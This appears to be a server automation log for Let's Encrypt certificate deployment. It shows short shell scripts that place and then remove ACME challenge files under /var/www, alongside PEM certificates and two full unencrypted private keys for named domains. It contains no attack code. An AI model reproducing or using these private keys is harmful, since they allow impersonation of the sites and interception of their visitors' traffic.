Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCc
/NawxaHmasnhnKxygtalod9FZsuRxi/WLXlTamMsX7qpKQXIE0XFAm4g0NN5DhY+
pr5ZRMVJFqUhOsH8JFIAbRTuObFVao5VUOhCS4M6q8GI7D2ePUWIp5C9H44z4z8z
5egwB2wSkoeLdd7wW8EnFA35DaGSg11/FelePeJ2UZLCb28gnBNqcZe4wjZBviUy
y53waHJn3aMUVvmgU8GGuyF1aiRoM8mRIVSpVt8uIak5+HGbojT3dFrHoGjLqvql
tR+ITkOa0bpbb1cOyJkQ3Y0ojNUjn7BIukyO2KYAt+/hZpFMGbUca7dcL9QUDUqE
fLOxG8hC7nnOB2M5o2lDAgMBAAGjggIbMIICFzAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUP2LXdwg4
bbzLjE0vfv+0CpPZJxUwHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EMgQww
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVuY3Iu
b3JnLzAXBgNVHREEEDAOggx6b29tY2hhdC5uZXQwEwYDVR0gBAwwCjAIBgZngQwB
AgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8zOS5j
cmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwDCMX5XRRmjRe5/ON6ykEHrx8Ih
WiK/f9W1rXaa2Q5SzQAAAZ8Hqg7KAAAEAwBIMEYCIQCKDKjGuA7d/Po9YjOUzFhn
QKTCuLoywRyr7igdHDe/oAIhAMhcKrGBKa/HuoWQKLOOMQHhxjzqMhrueJpbgznw
cnMyAH4AJuNkblhpISO8ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMAAAGfB6oNegAI
AAAFACKgGdoEAwBHMEUCIEH9q6P+3Iy9iL6iNlDIOpe/O31CAv1RtjFNlz29ekQy
AiEA1RCnpFn31ZPR3DrdNwHY0lrRVMnPxQub8A9S4JU2cGwwDQYJKoZIhvcNAQEL
BQADggEBAIuCJxKLz7hSnwDd2CuhMRdx09ZO/OtWCMbVRcb07aANansXHdljeTmD
ZuHGGyBoEwjDdasNO6dkOsOm7y4cvmQOASRWRFOyKcK98vlsqFaORTYYVdGQiNyY
8AW58xO4YSbuU6W9HId4gFu/SWKwr8brhtxsl1pvhAbiIGmW8k15rK6I51h7ORbX
6HKdAywR7MWq4Iv16DLNzQvMqVAMz3lbOWgZAdJTsm49an3heB1Zv/2ij2LUhpr+
ulAE3JqWslJXTz6MTHT7I3oidvfNpfRxXQ7NA6Tb8X1VnfOTeU2sCzqVVAIUvmjK
3uuoO4p720MIEIUOFpCtFeHCl5Q0mWY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCc/NawxaHmasnh
nKxygtalod9FZsuRxi/WLXlTamMsX7qpKQXIE0XFAm4g0NN5DhY+pr5ZRMVJFqUh
OsH8JFIAbRTuObFVao5VUOhCS4M6q8GI7D2ePUWIp5C9H44z4z8z5egwB2wSkoeL
dd7wW8EnFA35DaGSg11/FelePeJ2UZLCb28gnBNqcZe4wjZBviUyy53waHJn3aMU
VvmgU8GGuyF1aiRoM8mRIVSpVt8uIak5+HGbojT3dFrHoGjLqvqltR+ITkOa0bpb
b1cOyJkQ3Y0ojNUjn7BIukyO2KYAt+/hZpFMGbUca7dcL9QUDUqEfLOxG8hC7nnO
B2M5o2lDAgMBAAECggEAJPzJVJLr508Hy7lPRBehnRq7cS2cDveD89F5AXdScHUJ
lKuOqiooSReefOrWuHHiOdatiHjUhrjoJSEj7VVdYK5SvSIorvhRGrbaUixaeetX
yPvoNK05Ac6BIp4Zsg37qS2k/BPzmZieiPQ3l6f2pU9rT1+vzsZWtAekmUi5X6jP
0SZdrOidhMf3ykrL0vXivDKlB0gu/b36+wXxqnF/BPBVZ7ZNMUkPuSouwnp9YaVn
i+ZfliggLSANHYMP82spCMjZRCn2U2GSm84e0pt+p85Biapl+7c04yu16fO1NqBJ
2EB4n18ruvhMDRK14/ymjhkCe822QmjWrbHHp0PBWQKBgQDYCBYrby+iRzjf/Ibj
s1I5ArgrQOeaivwPcYhtCYgZsO5r22W2cTfYVbe3AwhaoosaI8cZg+LpcUGMzIyb
COEshGWwOzA8DcQiu6CZqXYlgoDpfS2w14UwAK5jbmX/ZvSEA4fv3wcGNAcu2OrP
VJHBrvFmKtKgILgFnKJ1TvlfRwKBgQC6CEBhw2QDOiz8meLriXgdB2JchTTF7OFu
nU3ETjE+2SSOm0P+9QHLbXvBN7xTCZPJeUWHkSDstBHGWFDoOt6wAa3WCuVi/xH4
KKx1y2loxk07RXGM8Ytpi4fbCjzqLAzcDKapQQq9dkcBWkoooWYa6wFBJJkAV2ny
kVBqQpw8JQKBgQC5JfUaNKi2hCQSk/Nno4CMq+/74hydLxDoi31JNioXGrS8a8S4
oEAkgRJ7H3ZBd52QQamaDJalTBPKAGVhWjLiXHZqm8+zKHk462WxTLOdYkPp2QcX
0R6tDWhof22bfzmBCyWuR49VmbGuTOqx1uE1BiKOVZU+98u/w4bY016WcQKBgAKg
LTB0DoxRHONv1JkYdp6KRSQjKSyF/GSQSdG0fNNzQyXUITCPCrhxUibW/4x4fSKB
2K5iKQHORNX01yd/9Tasv2RfAP/Vs8453L1I4rL84Ygtob2ohxw1QPShf1yaxI+y
igOnjFxCOBxXxuYt6QAGQx1FQ/eSREeNL4JgcE4VAoGADLe1eI7qqPeSZHwmANZ+
ACWe5xfVlXSCZFDh/tlsLtLjpekDrUr0CwNmR9+DvbC/0gAnoNUdqMmClJTZQ9Gp
Ce78Mux6yYz0URUX7STkEiBZa/AfH0D7B3qPwNYIh1I78HKccqcobYP6TB6VKAGe
zu8LC28sSZc29O2DDXCI8RA=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-27 06:00:26: Establishing a connection
2026-06-27 06:00:26: Establishing a connection
2026-06-27 06:00:26: 

PUT: /tmp/pkp819920

#!/bin/bash
if [ -d "/var/www/bible-basics_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-27 06:00:27: 

chmod 755 /tmp/pkp819920; /tmp/pkp819920; rm /tmp/pkp819920

2026-06-27 06:00:27: 


1


2026-06-27 06:00:27: Establishing a connection
2026-06-27 06:00:27: 

PUT: /tmp/pkp563743

#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
cat > PwXIMuR6d2DH0LzgBbXZoKLJnkCKUBwfTpjnKzTWowU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
PwXIMuR6d2DH0LzgBbXZoKLJnkCKUBwfTpjnKzTWowU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 PwXIMuR6d2DH0LzgBbXZoKLJnkCKUBwfTpjnKzTWowU
cat > 3GZ1CwOnGOqEgWw1aMUOvCE__wLWeW84uh3L6uBxSRI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3GZ1CwOnGOqEgWw1aMUOvCE__wLWeW84uh3L6uBxSRI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3GZ1CwOnGOqEgWw1aMUOvCE__wLWeW84uh3L6uBxSRI


2026-06-27 06:00:27: 

chmod 755 /tmp/pkp563743; /tmp/pkp563743; rm /tmp/pkp563743

2026-06-27 06:00:28: 




2026-06-27 06:00:36: Establishing a connection
2026-06-27 06:00:36: 

PUT: /tmp/pkp680629

#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
rm PwXIMuR6d2DH0LzgBbXZoKLJnkCKUBwfTpjnKzTWowU
rm 3GZ1CwOnGOqEgWw1aMUOvCE__wLWeW84uh3L6uBxSRI


2026-06-27 06:00:36: 

chmod 755 /tmp/pkp680629; /tmp/pkp680629; rm /tmp/pkp680629

2026-06-27 06:00:36: 




2026-06-27 06:00:36: Establishing a connection
2026-06-27 06:00:36: 

PUT: /tmp/pkp359812

#!/bin/bash
temp_file=$(mktemp)
TARGET=f032ab15fc1dc16ec38ee94209bcf74e.crt

cat > $temp_file <<'endmsg'
e6:b5:a3:26:fa:a9:b0:88:88:a1:4a:cc:f4:7c:5b:35

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBQkVHTy8JUdklLSFev2p30/jMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjI3MDUwMjA1WhcNMjYwOTI1MDUwMjA0WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKcYUl2GpI3am5RKaKk+vEVvwKpJua2IyLC0O3a2/0VOkQ3MeUcZ6z2BKQAC
V6i0uFqxnGHBq3qPoj7R74E+1gkSESihqC7epp93a2i65Q/MakoDeGdhLgtyajzs
CE04DC4RAMBQgnsUjMYJitgCu2vfTS3Mw0NPsgeCi3mI+6xV59+lzeU/LUPETA0t
RDynVpQabXKB5tecavH98NyThgt3+FX0YFjiikZxpHCFNwxZbRejepF9RmID/sjQ
xLmKkQwcACP2oiJedwsYW+l2X4Jzt67I5MI/UoHKq2CKelEbah1Jcv13XvqeL68M
7Av6vB5tTRCTOz4at0JfUDP3xv0CAwEAAaOCAjYwggIyMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTy
V8X+FFtKZFoEXX8bfhTGTWIj2zAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIf
gQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWJpYmxlLWJhc2ljcy5pbmZvghV3d3cuYmli
bGUtYmFzaWNzLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAk
oCKgIIYeaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8xMDAuY3JsMIIBCwYKKwYBBAHW
eQIEAgSB/ASB+QD3AHYAlE5Dh/rswe+B8xkkJqgYZQHH0184AgE/cmd9VTcuGdgA
AAGfB6plSgAABAMARzBFAiEAgCLAZe+zeDUAjB0py9TaK3sEazt25Leyrllfx2/I
jf8CICc/Gok2LhCul1yT3BQk5l0oDD3OL3nZCTMCdtBhTSLxAH0AJuNkblhpISO8
ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMAAAGfB6pj7gAIAAAFACKgIOAEAwBGMEQC
IDt+Fj0c4EZH143aR4/KPihfyDPYhks/eC9D0/xSHgqDAiBPdSxwdmOtEA+X7Cck
0/fPbJx2M4XAwc+EljQJSHdeWDANBgkqhkiG9w0BAQsFAAOCAQEAnGlQiNFYYcMy
h01n4yEvzp2SUDUOTuDyNbHzCFq1/7I8ew1LIGOLIWnDaTZ9M9B53+TGlYsrVGWb
J5nc34ympuDf0/D+qYkMaVOqg7fc3zMx9wVh8v5pBjz+WmAeBHJwy8P18yWU9now
UqbWumgWJDFuGVRfy4jOTFJB61qW/lXjqgIO+OEBtJvW/c5tdx/AAJTJ42A4NtzI
tI3IGOzvHbUQjd+20N/RTueKbwRpXO7pSAPyqgJHvHV98q2VdqPw0rVo9VJnPJ5D
ZOuyQP0ue2D5ER8eVzcb35rqD1Gh9ZyMYgcd6WdIDWVX8EGyjee/bM6iBo/ShcgN
fUHl+ACfLw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCnGFJdhqSN2puU
SmipPrxFb8CqSbmtiMiwtDt2tv9FTpENzHlHGes9gSkAAleotLhasZxhwat6j6I+
0e+BPtYJEhEooagu3qafd2touuUPzGpKA3hnYS4Lcmo87AhNOAwuEQDAUIJ7FIzG
CYrYArtr300tzMNDT7IHgot5iPusVeffpc3lPy1DxEwNLUQ8p1aUGm1ygebXnGrx
/fDck4YLd/hV9GBY4opGcaRwhTcMWW0Xo3qRfUZiA/7I0MS5ipEMHAAj9qIiXncL
GFvpdl+Cc7euyOTCP1KByqtginpRG2odSXL9d176ni+vDOwL+rwebU0Qkzs+GrdC
X1Az98b9AgMBAAECggEAPEc/31FlJ29HVLWLEBL7pCjuXf/+paWEkIpUMT1O1VfE
aC/tSEMHY8amXcR6jvey0bTk7zcIf0w1gWgGeJ+MYvVLj1bR7yaPAVP5QWy6mXpq
lYyu8MxT6fk6bgPP8ttXOX8UwEvK5k/BgOeMWOSTbBTAKNeHUU78sEzdt9g8wiwd
Ced4AB5sNmkJSn1kY4xogfBdYdaMtPDJu7fodJyw8Cgo9jR4dRlMlYH5/VBBkOgq
A5uGaiSOpJE9AY0rkZBkNgkV8xoMmP2NkWlQZBSGgvW4iwiko7jbY03hDAnSSXv1
bIoC9rSnB3qq+h8vHgyGES8LJE2YJdHHHklYCwMbGQKBgQDpd0/AoztH+s0Q6g3w
bL1jCjKhQ4bnv1KpCa2guYNzP/LSA48Al/rEJqC3wLUg+67FmeFaT/DACj0uy0ls
a6ndcAn8RuJgJ1sFNS6pIIMsgx3VqSHvLPBfJE3r3EaEaOvdQ0boNsNXdwx0kUjY
Nhyif3f2bVYqepH5Kltn+5Jo7wKBgQC3OQ4GEoo0c6MOUEpIvE5kmlVMsLPvnbfw
EsknWjWLN4e8gT6wRs8yhwCuq6x+yGFskRSuCz7xcXDR0pUKkk/z7KlOgtZHy3ng
mPZZDClVb8XaC1tLpEdFs3MK0RfHLhcA8i8/CTxb7dcieT2fDQe+ePB73z2Je5es
4FTrh6VW0wKBgQCTciTONskDxqOoYQl4pFRfrlsXefxDdJOR6mjbrw4TxXlnpZO0
/kcDhpnOM0ixkgJpDaxDS2VzA4RsfzrZ3I0lKtNDnsjtjS1w9ouHiN8PR6eZ/v1N
foY4sEb+BNoMWe9MiGbJ1Xw9SxR0siTdWB9xiSuMWLUoksyKHnQoEbv/xQKBgQCb
ff4axS0o6mIcyaLhK33T/u4ZEXUDC3SId0ji7rm2FkBJh93tt4ortUqs8eCIEAIu
IsnMEpsuSDmYt//oYtcbiWL90CeN8m7SXr3iQGHrsdnU/AJUpWwfCPW+3kgxrzmy
gdX6xxnEYopLJV1YV7SUvwpH9eLBhHPqMM+guxNkJQKBgBeNowDbMOjRRERiDu/x
1YrQhjaIfvVaWNX2bqGmrC9nZjXpcnoKTGhpV7MxWtNPK1rGSK2G2nqLwJYlVkKb
L+KnBcojeLpEMoX+ROE6py7yWX7/DFwTF1ZQ4Xkn5Qjw+C6iKdAP2/dltQyWuXI6
1WMZJ9WdvBzmvWyI3qeFqV3i
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
